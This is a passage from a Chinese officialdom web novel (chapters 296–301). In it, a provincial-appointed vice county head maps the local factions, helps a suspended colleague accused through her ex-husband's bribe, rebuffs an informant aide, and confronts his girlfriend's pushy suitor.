距离上次见林青,不过两个月的时间,林青比那次到省城去,憔悴了不少。 想来最近一段时间,她承受了不少压力。 “林县长,最近憔悴了。” 李承将水果递给林青后,换上了拖鞋。 “唉...” 林青叹了一口气,说:“饭菜已经做好了,您尝尝我的手艺。” 李承洗了一个手,坐了下来。 “李处长,您喝酒吗?”林青问。 “不喝了,这次找你过来,就是想了解一下情况。”李承说。 林青给李承盛了一碗米饭,两人相对而坐。 “你被停职,具体怎么回事?”李承问。 “我前夫打着我的名义,收了陈红胜三十万的贿赂,被纪委查了出来。” 林青无奈地说:“事情被查了出来,我才知道。” “前夫?”李承疑惑。 在法律上,没有前夫一说。 两个人离了婚,就没有了夫妻共同关系,她前夫就算打着她的名义受贿,也跟林青没牵连。 她不知情,也没有利用职权提供便利,就与她无关。 “他受贿时,我们两个人还处于夫妻存续期间。”林青解释道。 “你不知情,也没利用职权帮助陈红胜牟利吗?”李承问。 “嗯,从来没有过。” 林青语气坚定,却又透露着无奈:“欲加之罪,何患无辞,这种事情说不清了。” 从林青的态度来看,她已经做好了认命的打算。 是呀。 欲加之罪,何患无辞。 他前夫在夫妻期间受贿,本质上,就与她有关联。 再加上陈红旗决心要整治她,没有后台的林青,只能认命。 “组织不会放过任何一个贪官,也不会冤枉任何一个好官,林县长,你要相信组织。”李承安慰她。 “纪委书记跟陈红旗关系匪浅,我上次去汉江,给他们添了不少麻烦。” 林青苦笑一声,道。 “县纪委上面,还有市纪委,只要你行得正,坐得端,不会有问题的。 我这次来,就是想听你一句实话。”李承认真地说。 李承想听的实话,是关于林青到底有没有过乱纪行为。 他没有直接说明,但林青能明白他的意思。 “我对自己的要求很严苛,任何突破红线的事情,我都不会做。” 林青手中的筷子顿住,她看着李承,态度坚定。 “嗯,那我知道了。” 就凭林青敢去省里告状,李承认为,她是一个好官。 如果县纪委不能查明,李承愿意为林青跑一趟市里。 当然,这不会是包庇,而是调查一个清楚。 若林青真参与受贿,李承不会为她求半句情。 李承吃着饭,边吃边闲聊:“我今天下午去视察了一下园区道路,质量是肉眼可见的差。 刚才开了一个党工会议,那几个副主任都把责任往你身上推。” 林青是管委会的党工委书记,这条路修了这么久,是什么质量,她应该清楚。 李承向她提到这件事,就是想问问,她为什么不管。 第296章 政治格局 “道路质量问题,我的确有推卸不了的责任,我不瞒您,我默许了。”林青半低下头,说。 闻言,李承神情一凛。 “因为那三十万?”李承问。 “跟那三十万没关系,在修路之前,还没有受贿三十万的事情发生,是陈红旗和陈红胜单独找我谈过一次话。 我知道道路修建对产业园区意味着什么,在修路上,我一直都是亲历亲为的监管。 为此,我也触碰到了陈红旗的利益。 他们给了我两个选择,要么睁一只眼闭一只眼,继续到这个管委会党工委书记。 要么,陈红旗就准备在常委会议,提议换人。 经过几番讨价还价,我们达成了共识。 地下管网按照国家标准,严格执行,道路修建上,我不进行监管,交给韩帅负责。” 林青将事情的前因后果,如实告知给了李承。 她选择放任不管,也是无奈之举。 她担心,如果她被陈红旗撤掉工党委书记一职后,产业园区的地下管网都会被偷工减料。 道坏了,还能修补,顶多企业运输上,耽误一些时间。 可管网坏了,企业就要面临瘫痪。 “怪不得陈红旗敢信誓旦旦地承诺,地下管网质量一定合格。”李承点了点头,吐糟一句。 但实际上,即便没有林青的谈判,陈红旗在地下管网的建设上,也没准备太过于偷工减料。 他有贪心,但他贪得也有一定分寸。 地下管网若是出了事,涉及了多家企业的利益,他们县里未必能压得住。 “嗯,李处长,地下管网的质量你可以放心,我亲自监督,不会有差错。” 林青认真地说。 “主要,我在担心你呀。” 李承看着林青,面露忧愁之色。 他不想失去这个战友,他想还林青一个清白,但这件事不好办。 她前夫在夫妻存续之前受贿三十万,林青在园区偷工减料问题上,睁一只眼闭一只眼。 只要纪委的同志,把这两件事联系在一起,林青很难说得清楚。 同样的受贿情况。 冯坤妻子受贿,孟良德能够力保冯坤,那是因为孟良德有足够大的权力。 显然,李承并没有孟良德的能力,无法直接动用权力去保护林青。 “走一步算一步吧,你不是也说嘛,组织不会冤枉好人。”林青自我安慰,脸上挂着淡淡的苦笑。 她和李承都明白,想要洗脱清白,没那么容易。 “至少我可以向你保证,只要你足够清白,就算联系省里,我也会帮你。” 李承认真地说,在他心里已经做足了最坏的打算。 “谢谢李处长。” 林青对李承投去一个感激的目光。 这一刻,李承在她心中的形象被无限美化。 自从出了事,曾经奉承她的那些人,早就无影无踪了。 就连家人方面,也闹出了不愉快。 这段时间以来,都是她一个人在默默承担的全部压力,无依无靠。 李承的出现,让她仿佛在昏暗的世界里看到了一丝光明。 像一个无家可归的游子,在最落魄时,看到了亲人的身影! “你跟我讲一讲,风林县到底是什么样子的政治格局,我这几天接触下来,陈红旗势大,可似乎,他们内部也并不合。” 李承询问道。 知己知彼,百战不殆,想要跟陈红旗作斗争,就要了解清楚风林县的政治格局。 这种事情,他不能问王革。 看似王革一副人畜无害的样子,但这个人不得不防。 他毕竟是县委书记,是一把手,李承不能相信他的话,容易成为王革在对抗陈红旗的一枚棋子。 “您说得没错,他们内部的确不合,尤其是常务副县长崔学文和陈红旗,他们两个人在那个小团体里暗斗不断。 只是在重要决策上,会保持高度统一。”林青介绍道。 他们在一个共同利益集体下,自然会在重要决策上,保持统一战线。 但在内部小圈子斗争里,谁也不甘示弱。 “等陈红旗卸任,这个县长按理说就会顺位崔学文,他为什么会跟陈红旗斗?” 李承问出心中疑惑。 “当初这个县长,就该是崔学文的,是陈红旗用了不光彩的手段,背地里捅了崔学文的刀子。 两个人的恩怨很深,只是碍于洪老书记的权威,还要保持统一战线。”林青说。 “洪老书记是谁?” 李承到县里这么久,还是第一次听到洪老书记的名号。 从林青话中意思可以得知,无论是陈红旗还是崔学文,都要听从这位老书记的吩咐。 “以前风林县的县委书记,退休快十年了。”林青解释道。 “一个退休的老同志,还能在风林县有这么大的威慑力?”李承惊讶。 在官场,人性被展现得淋漓尽致。 多数情况,领导在位时,大家阿谀奉承,恨不得当祖宗一样供起来。 可领导一旦退休,那就是人走茶凉,无人问津。 富在深山有远亲,穷在闹市无人问,这句话同样适用于官场在位和离位的差距。 “他在位时,扶持了不少后生,县委常委中,就有半数受过洪老书记的提携。 除此之外,滨西煤山区的区长,隔壁汤河县的县委书记,都是他的老下属。 他的两个儿子,一个姑娘也都走得仕途。 大儿子是滨西的人大副主任,二儿子在省商务厅,小女儿在滨西市检察院。” 林青在风林县工作十数年,对于政治内部的大事小情,她都清楚。 “怪不得呢。” 听完林青的介绍,李承点了点头。 其他不说,单论一个人大副主任,虽不算实权岗位,却是实打实的厅局级(副职)干部。 有这一个儿子做背书,县里的那些领导,就不得不给他面子。 “洪老书记的本地派,主要分成几个小团体?”李承问。 那天的接待宴,李承觉得,其中可能是团体林立的局面。 如果是多个团体,那么这些本地派就更容易动摇,对李承有优势。 “只有以陈红旗和崔学文为首的两个派系。”林青夹了一口青菜,送进口中,说。 “那王革书记呢?” 第297章 受害者联盟 “王书记势单力薄,在常委中,只有县委办公室主任和宣传部长,跟他在同一条战线上。 这些人,说难听点,算是受害者联盟。”林青苦笑一声。 这句‘受害者联盟’形容到了关键上。 宣传部长,管的是意识形态,舆论,形象,不管人不管钱,没什么实权。 县委办公室主任,就相当于秘书长这个职位,是大管家,是县委书记的第一执行人。 县委办公室主任是否有实权,决定于县委书记。 县委书记有实权,办公室主任就有实权。 可王革这位县委书记已经被架空,办公室主任,也就失去了他的职位优势。 “受害者联盟,呵呵...我现在也是受害者中的一员。”李承自嘲一笑。 关于风林县的政治情况,李承已经大致清楚。 接下来,两个人又详细地聊一下风林县近些年的发展。 产业园区的招商情况。 林青这位管委会党工委书记,工作性质上,是管发展和决策。 但她也自告奋勇地去苏原省拉企业,其中,她手里有不少的意向企业。 只不过是陈红旗这边的条件过于苛刻,那些企业不敢落地。 这些资源,林青也全部分享给了李承,给李承发送了一个意向名单。 从林青的工作态度看,李承越发肯定,这是一位好同志。 也决心要保下林青。 从林青家出来,李承一个人在风林县散步起来。 作为副县长,他需要了解一下位置情况,以饭后闲逛的方式,视察一圈。 闲逛一圈,李承回到宿舍。 “你怎么在这里?” 他拿出钥匙,上了最后一层台阶,准备开门进屋时,看到刘婷就站在门口。 “我妈包的馄饨,我想着给领导您拿一些,都冻好了,您可以在饿的时候煮一些吃。” 刘婷提起左手塑料口袋,馄饨很多,足足装满了大号塑料袋。 在她的右手上,还有紫菜,香油,辣椒油,生抽等调料。 “你有心了,进来吧。” 李承打开房门,让刘婷进入了房间。 对方带着东西过来,李承也不好给对方拒之门外。 这一刻,李承觉得,如果刘婷不是陈红旗的眼线,真可以培养一下。 “您刚才是出去吃饭了吗?我在门口等了您很久。”刘婷将馄饨放在冰箱,随意地问。 “嗯,吃了口饭,又在县里溜达了一圈,熟悉一个路况。”李承坐在沙发上,点燃了一根香烟。 “那您怎么没叫上我呀,我给您做向导。”刘婷放好东西,走到李承身边坐下。 她坐的位置离李承很近,拿起一个茶几上的橘子,扒了起来。 李承可以清晰嗅到她身上的香水味和橘子独特的清爽味道。 “领导,您吃一个橘子。” 刘婷将橘子递给李承,妩媚地笑着。 “不用了,你吃就行,我抽烟。”李承吸了一口烟,婉拒了她的好意。 气氛有些尴尬。 刘婷有意接触李承,但她也能明显感觉到,李承跟那些老色鬼不同。 而李承对刘婷的防备心很重,不愿与她在私下里过多接触。 “刘婷,没什么事情,你回去休息吧。”李承弹了弹烟灰,说。 “嗯。” 刘婷微微点头,却没有挪动地方,她沉默了两秒,目光复杂地望向李承:“李县长,您是讨厌我吗?” “不讨厌,怎么了?”李承淡淡地反问。 “总觉得你在有意疏远我....”刘婷略显委屈地说。 闻言,李承心想:为什么疏远你,难道你心里不自知吗? 这种话,不能摆在明面上说。 “我不是在疏远你,是我在对我女朋友负责,你这么漂亮,总在我身边,她知道会吃醋的。 本来异地恋的感情就难,我不想让她多想。” 李承再次以许梦作为理由。 每次的借口都一样,但这个借口,百试百灵。 “李县长,我不会影响你和女朋友的感情的,我很听话的。” 刘婷身体再次靠近李承,纤细的手指,主动去抚摸李承。 “刘婷!” 李承拉开与她的距离,严肃地喊了她的名字。 对方动作僵住,没再继续开展攻势。 她认为自己话说得已经很明白了,她不会干涉李承和许梦的感情,只想做一个不争不抢的第三者。 可即便如此,李承都不愿意给她机会,这是她没想到的。 “那好吧.....我就不打扰您了,领导,你有什么事情随时联系我,我二十四小时听从您的吩咐。” 刘婷失落地站起身,跟李承打了一个招呼,告辞离开。 看着刘婷曼妙的背影,李承心中纠结了刹那。 好色是人的本性,李承是个正常男人,他也会在女人投怀送抱时,有片刻的思想松动。 但这种松动,转瞬即逝。 理智告诉他,他不能做出背叛许梦的事情。 若想人不知,除非己莫为,李承一旦出了格,刘婷迟早会是他和许梦感情上的隐患。 除此之外,李承也将陷入陈红旗的圈套。 色字头上一把刀,除了许梦之外的女人,他绝不能沾。 坐在沙发上,李承开始盘算起接下来的布局。 下周一,县委常委会议就要商量修路问题,以及对韩帅的问责。 李承在思考,用什么样的方式,才能达到自己的目的。 修路是产业园区的根基。 韩帅的问责和人事任免,是为了稳固李承在管委会的根基和威信。 这两点,他都不能退让半步。 可县委常委的投票权,大部分都掌握在陈红旗的手里。 算是李承,一共十一个县委常委。 李承就算集结了王革的‘受害者联盟’也不过四票。 对方占据了七票。 这巨大的票数差距,是在短时间内,根本无法弥补的。 所以,李承只能另辟蹊径,看看有没有其他方式。 他想过去策反常务副县长崔学文,得到他的支持,可这种想法是天方夜谭。 执行起来,根本不可能。 如果崔学文能够轻松被策反,王革也不会落得这个下场。 一连抽了三四根香烟,李承终于想到了一个办法。 这个办法,是有执行可能的,只要运作得好,说不定会有奇效! 第298章 狂妄 李承虽为副县长,但他的主要工作是产业园区建设。 日常工作,也要在管委会开展。 来的路上,李承看到那些道路施工团队还在继续施工。 他昨天下达的命令,下属们没有第一时间落实,这让李承十分不满。 他来到韩帅的办公室门前,准备质问他。 在撤职之前,韩帅就还是管委会主管基建工程的副主任,这些就是他的分内工作。 “韩主任,外面施工队还在施工呢,你没去打招呼吗?” “没有呀,打什么招呼?” “昨天李县长不是说要停工吗?这新官上任三把火,你不怕他这三把火都烧在你头上呀,呵呵呵....” “草,我怕他?他还真以为他那个管委会主任有什么话语权啊,就是狗屎一堆。 老子愿意搭理他,他是主任,老子现在不想搭理他了,他狗屁都不是!” 李承正想推门而进时,李承传来了韩帅和别人的交谈声。 闻言,李承停顿下动作,站在门外偷听。 “韩主任,人家李县长来头不小,那是省里下来的领导,我劝你悠着点吧,他跟林县长不一样。” 对方好言奉劝韩帅。 可韩帅却满不在乎,他冷哼一声:“这是风林县,来了这里,是龙他得盘着,是虎他得卧着! 他后面有背景,我后面还有陈县长撑腰呢,我怕他呀。” “李县长,您....” 正在李承偷听时,党政办公室主任徐阳走到李承身边,主动跟李承打招呼。 “嘘。” 他的话还未说完,李承对徐阳做出一个嘘声的手势。 对方会意,闭上嘴巴。 “在这风林县,陈县长说一不二,就他昨天还装逼,说要换了我这个副主任,真他妈的能吹牛逼! 老子就不配合他,让他试试看,老子就不信他能给老子换了!” 一门之隔的办公室内,韩帅继续叫嚣着,发泄他心中的愤怒。 ‘咯吱’ 这时,李承推开了房门,走了进去。 “韩主任,孙书记,隔着很远就听到你们的声音了,你们在聊什么,聊得如此热烈?” 房门敞开,李承站在门口,笑眯眯地看着两人。 跟韩帅聊天的,是管委会分管纪检的副书记,孙建。 “李县长,我们就随便聊聊,没,没什么。”孙建谄媚一笑,敷衍道。 韩帅则板着脸,默不作声。 昨天李承说要换掉他这个主管基建工程的副主任后,韩帅立马去找到了陈红旗。 陈红旗承诺,李承动不了他的副主任,这让韩帅安心了。 没了后顾之忧,他也就没什么忌惮。 “韩主任,那些施工队怎么还没有停工?我昨天不是叫你们尽快落实吗?” 李承凝视着韩帅,问。 “通知停工,也要有正式的文件下发,这需要个流程,流程就需要时间!” 韩帅梗着脖子。 他有了陈红旗给的底气,也就无所畏惧。 昨天李承在会议上,点名训斥了他,让他丢尽了脸,今天,他也不想给李承什么好脸色。 “流程需要多久的时间?”李承问。 “不知道,三五天吧。”韩帅不屑地撇了撇嘴,道。 “一个停工通知,你要用三五天的时间去完成,就你这个工作效率,确实不太能胜任这个岗位了!” 李承更加决心要撤掉韩帅。 “我就这个效率,你觉得我不能胜任,你就把我换掉,看看你有没有这个本事!” 韩帅态度蛮横,显然是准备跟李承死磕到底。 他昨天已经丢了面子,今天,当着孙建和徐阳的面,他不想再装孙子。 而他敢这么装逼。 其背后,也是有陈红旗的授意。 李承想要在管委会站住脚,就必须要立威。 李承准备拿韩帅立威,而陈红旗偏偏就不想让他得逞。 陈红旗要通过韩帅的嚣张气焰,打击李承的威信。 一个下属,敢跟顶头上司对着干,顶头上司又换不走这个下属,自然而然,李承这位上司的颜面就会扫地。 所以,在韩帅的职位上,陈红旗做好了保他的准备。 这是保他的亲信,也是打击李承的威信。 “好!” 看着韩帅嚣张的表情,李承重重点头后,转身离开。 回到办公室。 李承点燃了一根香烟,心中火气上涌。 从担任省长秘书至今,他已经很久没见过这么嚣张的面孔了。 ‘咚咚咚...’ 李承一根香烟没吸完,办公室的房门被敲响。 “进。” 得到李承的许可,房门被推开,满脸笑容的孙建走了进来:“李县长,你别跟老韩一般见识,他呀,就这个破脾气。 林县长在的时候,他跟林县长也这个德行。” 孙建开口劝说起李承。 “嗯。” 李承用鼻音应了一声,没多理会。 孙建关上房门,走到李承的对面坐下:“但该说不说,老韩确实是太过分了,就连我都看不过去眼。 这件事明明就是他的失责,还这么顶撞你,我也不知道他脑袋是怎么想的。” 孙建的第二句话,不再是劝说,而是带着讨好意味地帮李承说话。 李承没有搭话,继续抽着烟。 他的目光就落在孙建的脸上,眼神古井无波。 “但李县长你放心,我跟他们不一样,我会全力配合你的工作,只要是你吩咐的事情,我一定会第一时间落实。” 孙建的第三句话,则是向李承表达忠心,递来了一份投名状。 在他看来,李承是省长的秘书,来产业园区是镀金的。 这是一个大腿,应该抱住。 这几天,他都在思考这个问题,到底是抱哪颗抬腿,站哪个队伍。 最终,他觉得站到李承这边来。 至于原因,除了李承背景雄厚外,还有一点,就是陈红旗的队伍人太多了。 他去站队,都没什么落脚的地方。 陈红旗任人唯亲,但他的‘亲’太多了。 孙建很清楚,就算再有五年时间,陈红旗也‘亲’不到他的头上。 不如赌一把,押注在李承身上! “呵呵呵...孙书记,你这句话倒是提醒我了,我还真有一件事,需要你去落实!” 第299章 情况说明 孙建没想到李承如此会借坡下驴,他刚示好,李承就准备安排他做事。 说的话,就像泼出去的水,没有再收回来的道理。 “李县长,您吩咐。”孙建道。 “不急,先聊聊。” 李承弹了弹烟灰,笑眯眯地看着孙建:“你觉得,林青县长是什么的人?” “嗯...一个很有责任心,有能力的领导,就是脾气暴躁了些,呵呵呵...” 孙建半开玩笑地回答道。 他说的话,是发自内心对林青的评价。 在陈红旗的淫威压制下,对于林青的评价,很多人都不敢凭心去讲,只能给予贬低。 可公道自在人心。 林青是什么为人,大家都看在眼里。 孙建跟林青认识三年多,一起在管委会工作也有半年时间,林青是一个有能力,有责任感,有底线的领导。 这是事实。 但这些事实,孙建也只敢在李承面前讲,因为他知道,李承跟陈红旗不是一个阵营。 “但她现在被查出了受贿三十万,你负责园区的纪检工作,你怎么看这件事?”李承淡淡地问。 “这个...我也不好说呀,毕竟我没有权力向上调查。”孙建摸了一下鼻子,含糊其辞地说。 下级纪委,无权查处上级领导。 他不经手调查工作,也不敢乱加评论。 说得模糊,总比说错要好很多,毕竟,他揣测不到李承的真实想法。 “我们不在工作的角度谈,就说你个人感觉。”李承说。 “额...我个人觉得,林县长是一个有底线的好领导。” 孙建这番话说得很慢,他一直在观察着李承的表情。 万一说错了话,他好及时通过表情洞察出来,做出更改。 “是呀,当初林县长敢为了产业园区的发展,跑到省政府找我和孟省长,我就觉得,她是一位好同志。” 李承可以强调了孟省长,这是一种无形中的威压。 是一种背景的展示。 “这样,你去写一份情况说明,以你们管委会纪检委的名义,说明林县长的真实工作情况,和内部初步核查情况。” 李承吩咐道。 原本李承就打算在县委常委的会议中,以林青事件做引,达到自己的目的。 今天,刚好孙建主动想过来递交一个投名状,李承就给他一个机会。 这是李承对孙建的一次考验。 孙建配合,李承拿到这份情况说明,执行他的计划时,更名正言顺。 孙建不配合,李承看穿他的为人,也不会耽误李承的计划。 “嗯....” 听到李承的吩咐,孙建沉吟起来。 这份报告如果出具了,他和陈红旗就是彻底站在了对立面。 可如果不出具,他将不会得到李承的信任和重视。 孙建是万万没想到,他只是跟李承客气了一句,李承就给他出了一个如此巨大的难题。 他一时间,有些后悔主动敲响李承的办公室房门,过来示好。 这是他给自己挖了一个坑。 “孙书记,很为难吗?”李承淡淡地问。 “不为难,不为难,我回去就弄材料。”孙建没有想好,但他在李承的追问下,也只能先答应下来。 等后续思考出决定,再做打算。 “嗯,不为难就好,我这个人,不喜欢强人所难。” 李承拿起手机,看了一眼日期,说:“这个资料你想准备就准备,不想准备也无所谓。 不过呢,要准备的话,最后在周五之前交给我。” 李承周五晚上要回汉江,这份情况说明如果出具了,他需要带走。 “明白。” ...... 周五。 临近下班,李承问刘婷:“这个时间,还有去市里的客车吗?” 风林县不通高铁,甚至连火车站都没有修建,他晚上要坐八点的高铁回汉江,只能先去滨西。 “领导,您要去滨西呀,我打电话叫朱师傅送您就好了。”刘婷说着,拿出手机便准备联系朱师傅。 “我这是私事,就不用公车了。” 公务车辆,要在工作时间的公事上使用。 回汉江是私人事情,按照规定,李承不能动用公车。 当然,一个副县长,用公车达到私人出行的情况,很常见。 但李承不能这么做,他不想被人挑出毛病。 “哪有那么多条条框框呀,规矩是死的,人是活的嘛,县里不少领导都将公车当私人车辆用呢。” 刘婷莞尔一笑,她觉得李承有些守规矩的过分。 “他们是他们,我是我。”李承婉言拒绝。 “那你可以坐拼坐车呀,时间灵活,车接车送,很方便的。”刘婷提议道。 “那也行,你有他们的联系方式吗?”李承问。 “有,我们有微信群的,叫车很方便,要不要我拉您进群?”刘婷打开手机,翻找着群聊。 “不用,你帮我联系一下就行,让他六点到县委门口接我吧。”李承说。 “好。” 李承下班后,又在办公室整理了一下文件,这才和刘婷下了楼,从园区赶往县委。 到达一楼,李承看到孙建正站在大门口。 “李县长。” 孙建看到李承,微笑打了一个兆华。 “嗯。” 李承停顿了脚步,冲他点头。 他停顿脚步,就是想等孙建给他递上材料。 但孙建并没有那么掏出任何文件,他脸上带着笑容,没有动作,也不再讲话。 李承迈步,坐上公车。 汽车驶动,李承看着管委会办公楼的方向,有些失望。 他给了孙建一个机会,但对方已经做出了自己的选择,并没有交给他那份情况说明。 不过,这也在李承的预料之中。 到达县委,李承去附近小卖部买了盒香烟,等待着拼坐车的到达。 ‘我的爱如潮水,爱如潮水将我向你推...’ 这时,李承的手机响起,是孙建打来的电话。 “李县长,您方便讲话吗?”孙建问。 “嗯,方便。” “您要的情况说明,我已经准备好了,我给您送到哪里去?” 孙建知道,刘婷是陈红旗安插在李承身边的眼线,所以,刚才他没敢声张。 李承也清楚他的顾虑。 但对于孙建的选择,他还是认可的:“我现在要去市里,你有车的话,就去县城的公路上等我。” 第300章 民声 “师傅,站一下。” 拼座车行驶到风林县去往滨西市的必经公路上,李承喊住司机。 他看到孙建正站在他的吉普车前,等待着。 司机停下车,李承落下车窗,喊道:“孙建!” “李县...李总,您怎么坐的拼座车呀?我送你呀。” 孙建看到李承,本能地想喊他李县长,可看到李承乘坐的车辆后,改了口。 “不用,把东西给我就行。”李承道。 “哦,好。” 孙建连连点头,将文件递给李承,讨好地说:“那等您回来,您给我打电话,我去接您。” “没事,这拼座车挺方便的,你回去吧。”李承接过文件,升起车窗。 “你一看就是大老板呀,呵呵呵....” 司机继续驾驶车辆,跟李承闲聊起来。 司机是个机灵的人,他听到了孙建欲言又止的称呼,也看到了孙建递给李承那个透明档案袋里,情况说明的几个字,还有那红红的管委会公章。 “不是什么大老板,朋友抬举而已。”李承说。 “你太谦虚了,看他那么客气,就知道你身份不一般,是过来投资我们产业园区的吧?” 司机笑盈盈地问。 “嗯,过来看看项目,听说这个园区省里投了不少钱,也给了不少好政策。 想着能不能有个机遇,把企业落地。” 李承装出一副投资者的模样,想从司机口中了解了解情况。 李承在风林县,能接触到的人不多。 他接触的人,都是工作相关的,这些人代表不了群众,说的话,李承也都不能全信。 “省里给好政策有个屁用,县里一群驴马篮子当官,他们就想着往自己口袋里圈钱,谁他妈的管我们百姓的死活了!” 不等司机回答,后排一个五十多岁的男人,愤愤不平地骂了起来。 他对县里的这些领导似乎有很大的怨气:“我劝你啊,别想着往风林县投资,投多少钱,都得被陈红旗那个狗篮子榨干。” “听说,陈县长是风林县出了名的好官啊。”李承装出一副不知情的样子,说。 他夸赞陈红旗,是为了引出男人的下文。 “狗屁吧,他要是好官,这世界都没坏官了。” 男人冷哼一声,说:“他在南溪乡当乡长的时候,我就认识他,一天实事不干,天天除了吹牛逼,就是坑那些乡里的大户。 去哪个饭店吃饭,都不买单,全部挂账。 我二弟在乡镇府门口开小卖店的,他最多的时候,买东西欠三四千块钱呢。 那都快二十年前了,三四千不是什么小数目了,后来还是乡政府给他还的。 也不是哪个瞎眼的,能让他干上县长!” 听到男人的谩骂,李承对陈红旗的人品,又了解了一些。 “哎...别说了,人家现在是领导,传到他耳朵里,不好。”司机劝说道。 “草,我他妈的不怕他。” 男人骂骂咧咧地说:“现在年轻人都往外走,县里发展慢,就说这几个烂官,县里能有什么发展。 我看啊,省里投资这些钱,也是打水漂的。” “不能,我听说省里派下来一个副县长,专门负责产业园区。”司机道。 他们这些司机,小道消息最灵通。 每天接触的客人多,聊天的,打电话的,他们都能听到耳朵里。 然后,这些值得侃侃而谈的消息,就被传播在他们的司机群里,广而皆知。 “白废,去年省长还下来考察了,陈红旗不照样干得好好的,那个园区我也去转过,这么久过去了,哪有企业呀。 就是花国家的钱,修点路,想方设法把钱搞进自己口袋。 那个副县长下来,也跟他们是一路货色,这里面油水大得很呢。” 男人继续道。 他对政府表现出了一副十分失望的样子,对任何领导都带着偏见,甚至是仇视。 “师傅,我看你们干这个拼座的人挺多,收入怎么样?” 对方说的只是偏见情绪,也没什么价值话题,李承索性就岔开了话题。 “还行,养家糊口够用,一天对付个二三百块钱。”司机也没隐瞒。 “那还不错。”李承点头。 “也不好干,定期还要交钱呢。”司机叹了口气,说。 “交什么钱?”李承疑惑。 “给运管处交钱啊,我们这个性质,你懂的,不交钱干不下去。”司机道。 “合法收费吗?还是给个人呀?”李承明知故问。 “呵呵...兄弟,你这是开玩笑呢吗?”司机瞟了李承一眼,笑容复杂。 很多城市,都有一群出租车,或者私家车,来跑拼坐。 前些年,这群人基本聚集在火车站,客运站附近,站在门口吆喝,主要往返于市区和县城。 近些年,随着科技发展,也转变成了微信群的模式。 拼座车,价格比客车贵一些,但时间灵活,满客就走,深受群众喜欢。 不过,这些车辆都属于是违法载客车辆,不符合营运规定。 司机交的钱,交的就是保护费。 “保护费呗?”李承微笑问。 司机点了点头,没有明说。 “一个月,多少钱?”李承问。 司机没有回答,他对李承比了一根手指,示意是一千块。 一千块,说多不多,说少不少。 可一个司机敲诈一千,全县几十台拼座车,就是几万块一个月。 作为一位副县长,李承对于这种营运的违法行为,并不反对。 能给民众带来方便,能让司机们养家糊口,提供一定的就业岗位,这不是坏事。 有些事情,必须严管,严抓。 例如汉江市,机场出租车不能越界的问题,这是绝对不能容忍的,因为他们的行为,严重破坏了民众的出现方便。 但这些拼座车,在一定监管的情况下,可以睁一只眼,闭一只眼。 规定是死的,人是活的。 基于多数群众利益的情况下,可以放纵。 李承不反对拼座车的出现,这是百姓的需要。 但李承十分厌恶运管处以此作为把柄,对这些司机们敲诈勒索的行为。 这是违法违纪,是剥削压榨。 反感会反感,但这不属于李承的职权范围内,他管不了。 第301章 追求者 回到汉江,已经是夜晚九点多。 李承随便吃了口饭,在街道上闲逛了一会儿,感觉时间差不多了,他打了一辆出租车,去到省电视台。 一个星期不见,李承对许梦十分思想。 为此,他特意买了十一朵玫瑰花,想在见面时送给许梦,算是一个小惊喜。 深夜的省电视台门前,格外冷清。 除了李承一个人之外,甚至连路过的行人都没有。 ‘叮’ 等待时,李承的微信响了起来,是刘婷发来的询问:【领导,您到家了吗?】 【到了。】李承回复。 车在两个小时前就到站了,刘婷的关怀却延迟到了现在。 这难免会让李承多想。 她是才想起来关心一下自己这位领导呢? 还是,她别有用心,特意挑选的这个时间呢? 【嗯,那我就放心了,要不我心里一直惦记着你,都睡不踏实。】刘婷回复,发来一个可爱的兔子表情。 看到这条消息,李承眉头不由轻皱。 如果这条消息被许梦看到,许梦一定会多想。 【没什么工作上的事情,周末不要联系我。】李承皱眉回复。 【好吧,我知道了。】 李承没再回复她,为了避免麻烦,李承将除工作之外,跟刘婷的聊天记录全部删除。 省电视台门口附近,有一条长椅,李承坐在那里等待起来。 等待了半个小时左右,一台宝马七系轿车停在了省电台大门口。 一个二十八九岁,一身名牌的小胖子下了车,他始终低着头,发消息,目光时不时朝省电视台的内部瞟。 没一会儿,许梦的俏影从大门走出。 见状,李承刚准备起身,那个小胖子却先抬起的手,对许梦打招呼,在他油腻的脸上挂着灿烂笑容:“许梦!” 他招呼的同时,打开了宝马车的后备箱,从里面拿出一大捧花。 他肥硕的身躯,都被这捧鲜花遮挡住。 估计,有九十九朵。 胖子捧着鲜花,小跑到许梦面前:“梦梦,这是送给你。” 有人给自己的女朋友送花,李承非常气愤! 但他并没有立即上前,他想看看许梦如何应对。 “高凯,我都跟你说过多少次了,我有男朋友,你就不要在我身上费心思了。”许梦冷漠地说。 她没有去接高凯的花,这倒是让李承放心不少。 李承不在乎别人是否对许梦追求,追求是别人的自由。 他在意的,是许梦的反应! “你和李承是异地,早晚会分手了,而且,他说不定已经在外面有别的女人了呢。 你别傻呵呵地因为他,给自己耽误了。” 高凯故意说得难听,想用这种方式,拆散李承和许梦的感情。 “神经病。” 许梦瞥了他一眼,准备绕开他,离开。 高凯却死皮赖脸地挡在许梦面前,双手奉上鲜花:“梦梦,我喜欢你,你给我一个追求你的机会,好不好?” 就在他等待回应时,一只大手从他的手里夺过了鲜花。 随即,这只大手松开,九十九朵玫瑰花应声掉落在地上。 ‘啪’ 突如其来的意外,让高凯和许梦齐齐转过头,看向这只手的主人。 在看到李承的身影时,两个人表情截然不同。 许梦是惊喜。 高凯则是阴沉。 李承抬起右脚,皮鞋重重踩在那捧鲜花之上。 他的鞋尖在花朵上碾了碾,冷厉的目光看着高凯:“小子,听说你要追求我女朋友?” 被李承这位正主质问,高凯心里本能地恐慌了一下。 “老公。” 许梦看到李承出现,直接扑进了他的怀里,心情激动:“我好想你...你终于回来了....” “我也想你。” 李承抱了抱许梦,将鲜花送到她的手里。 随后,李承目光看向高凯,眼神中带着冷意。 四目相对,李承在对方的眼神中,看到了惊慌。 这抹惊慌转瞬即逝,变成了嫉妒和鄙夷。 “我喜欢她,我就要追求她!” 高凯梗着脖子,一副大义凛然的模样,说:“你现在不能给他更好的生活,我能给。 我还能让许梦重新回到省电视台一姐的身份!” “呵呵呵....” 闻言,李承轻笑了一声,用手捂住鼻子:“你多久没刷牙了,口气这么大。” 他说的口气,不是嘴里的味道。 而是他有什么资格,敢这么大放厥词! “我们走着瞧,我会让你亲自把许梦让给我!”高凯狂妄地丢下这句话,转身离去。 李承脸上挂着冰冷的笑容,却也没有阻拦他的离开。 自己是公职人员,要时刻注意自己的形象。 总不可能因为这件事,动手教训他。 “他是什么人?” 李承看着宝马汽车扬长而去,开口询问许梦。 对方在明知道李承的身份,还敢这般嚣张,背景一定不简单。 “他爸是汉江的政法委书记。”许梦解释道。 “哦,高新海的儿子。” 李承担任省长秘书的第一件事,就是把各地主要领导的名字记在脑袋里。 高新海,汉江政法委书记,李承当秘书时,跟他也打过几次交道。 